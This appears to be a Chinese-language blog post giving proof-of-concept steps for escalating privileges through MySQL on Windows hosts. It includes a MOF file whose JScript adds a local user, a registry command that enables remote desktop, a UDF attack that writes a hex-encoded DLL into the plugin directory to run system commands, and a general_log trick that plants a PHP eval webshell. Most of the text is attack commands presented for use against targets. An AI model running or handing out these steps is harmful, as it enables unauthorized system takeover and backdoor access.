相关思路在前一篇博文里已经写过了,这里放一下具体利用的poc以及可能(很大可能)会出现的坑。

MOF提权(5.7以前版本)

原理:MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权

首先明确系统环境必须为Windows,且版本不能高于2003,可以通过nmap等进行指纹识别,如满足,可接着进行提权操作。

  1. 利用公开的mof文件:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

其中"net.exe user test test /add"为我们执行的指令

建议先写个ping dnslog的指令探测一波,如果目标能出网,可以返回初步的试探结果。

向目标主机里写入该文件,可以写在mysql目录下,或任意其他目录:

select 'mof文件内容' into 'C:/Documents and Settings/test.mof'
  1. 将mof文件导出至c:/windows/system32/wbem/mof/下:
select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
  1. 利用添加用户远程连接

如目标服务器未开放3389端口,可将cmd语句改为:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f再执行一遍上述操作

至此,如果你能顺利连接上目标主机,那恭喜你的运气真的爆棚,可以自由的内网漫游了,如果没有连接成功,并且还不死心的话,就继续往下看吧。

UDF提权(5.7以前版本)

虽然是被讨论的比较多的一种方法,不过限制范围也很严苛,我也不敢期待5.7以后的版本下,管理员会将secure-file-priv目录设在plugin目录下,所以大家也就看看就好。

  1. 查看plugin目录:
  2. 将udf.dll文件(可选择sqlmap或msf自带的mysql的udf提权文件)写入目标系统:
    提取dll的十六进制数据(可用python简易实现,脚本在postgresql提权博客中),并创建一个表将十六进制数据插入(可以通过insert语句或将其分解为多个部分,然后通过update语句拼接数据),最后将其导出至plugin目录下,并创建函数
create table temp(data longblob);
insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
select data from temp into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.6\\lib\\udf.dll";
create function sys_eval returns string soname 'udf.dll';   #创建函数sys_eval
  1. 使用系统命令
    如果顺利的话,现在就可以利用sys_eval()函数执行系统命令:
select sys_eval('whoami');
  1. 借一下谢公子大佬的图,成功的话返回如下:

系统日志写shell

据说难度也比较大,目前遇到过的要不就是能直接写webshell,要不就是受secure-file-priv限制,没有写在网站根目录的权限,所以适用范围也较小。

  1. 开启日志功能
    set GLOBAL general_log='ON';
  2. 设置日志存储路径
    SET GLOBAL general_log_file='C:/phpStudy/www/xxx.php'; 一般这步是坑,必须能修改日志路到网站根目录下,这个方法才可以利用
  3. 执行sql语句,写入日志文件
    select '<php @eval($_POST[1]) ?>'
  4. 在网站根url后加xxx.php即可连接